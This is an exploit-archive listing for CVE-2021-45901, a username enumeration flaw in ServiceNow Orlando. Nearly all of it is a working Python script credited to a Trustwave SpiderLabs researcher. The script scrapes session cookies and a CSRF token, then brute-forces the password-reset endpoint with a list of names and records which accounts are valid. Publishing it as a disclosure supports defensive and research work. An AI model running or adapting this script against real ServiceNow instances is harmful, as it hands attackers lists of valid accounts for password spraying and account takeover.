ServiceNow Username Enumeration

2022.02.22
Credit: Victor Hanna
Risk: Low
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: ServiceNow - Username Enumeration # Google Dork: NA # Date: 12 February 2022 # Exploit Author: Victor Hanna (Trustwave SpiderLabs) # Author Github Page: https://9lyph.github.io/CVE-2021-45901/ # Vendor Homepage: https://www.servicenow.com/ # Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html # Version: Orlando # Tested on: MAC OSX # CVE : CVE-2021-45901 #!/usr/local/bin/python3 # Author: Victor Hanna (SpiderLabs) # User enumeration script SNOW # Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token import requests import re import urllib.parse from colorama import init from colorama import Fore, Back, Style import sys import os import time from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def banner(): print ("[+]********************************************************************************[+]") print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |") print ("| Decription: SNOW Username Enumerator |") print ("| Usage : "+sys.argv[0]+" |") print ("| Prequisite: \'users.txt\' needs to contain list of users |") print ("[+]********************************************************************************[+]") def main(): os.system('clear') banner() proxies = { "http":"http://127.0.0.1:8080/", "https":"http://127.0.0.1:8080/" } url = "http://<redacted>/" try: # s = requests.Session() # s.verify = False r = requests.get(url, timeout=10, verify=False, proxies=proxies) JSESSIONID = r.cookies["JSESSIONID"] glide_user_route = r.cookies["glide_user_route"] startTime = (str(time.time_ns())) # print (startTime[:-6]) except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) except requests.exceptions.ProxyError: print ("[!] Can't communicate with proxy !") sys.exit(1) with open ("users.txt", "r") as f: usernames = f.readlines() print (f"[+] Brute forcing ....") for users in usernames: url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default" headers1 = { "Host": "<redacted>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'" } try: # s = requests.Session() # s.verify = False r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies) obj1 = re.findall(r"pwd_csrf_token", r.text) obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text) tokenIndex = (r.text.index(obj1[0])) startTime2 = (str(time.time_ns())) # userTokenIndex = (r.text.index(obj2[0])) # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95]) token = (r.text[tokenIndex+45:tokenIndex+73]) url = "http://<redacted>/xmlhttp.do" headers2 = { "Host": "<redacted>", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Content-Length": "786", "Origin": "http://<redacted>/", "Connection": "keep-alive", # "X-UserToken":""+userToken+"", "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'" } data = { "sysparm_processor": "PwdAjaxVerifyIdentity", "sysparm_scope": "global", "sysparm_want_session_messages": "true", "sysparm_name":"verifyIdentity", "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5", "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b", "sysparm_user_id_0":""+users.strip()+"", "sysparm_identification_number":"1", "sysparam_pwd_csrf_token":""+token+"", "ni.nolog.x_referer":"ignore", "x_referer":"$pwd_reset.do?sysparm_url=ss_default" } payload_str = urllib.parse.urlencode(data, safe=":+") except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) try: # s = requests.Session() # s.verify = False time.sleep(2) r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies) if "500" in r.text: print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL) f.close() elif "200" in r.text: print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL) f.close() else: print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL) f = open("enumeratedUserList.txt", "a+") f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL) f.close() except KeyboardInterrupt: sys.exit() except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) except Exception as e: print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL) if __name__ == "__main__": main ()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top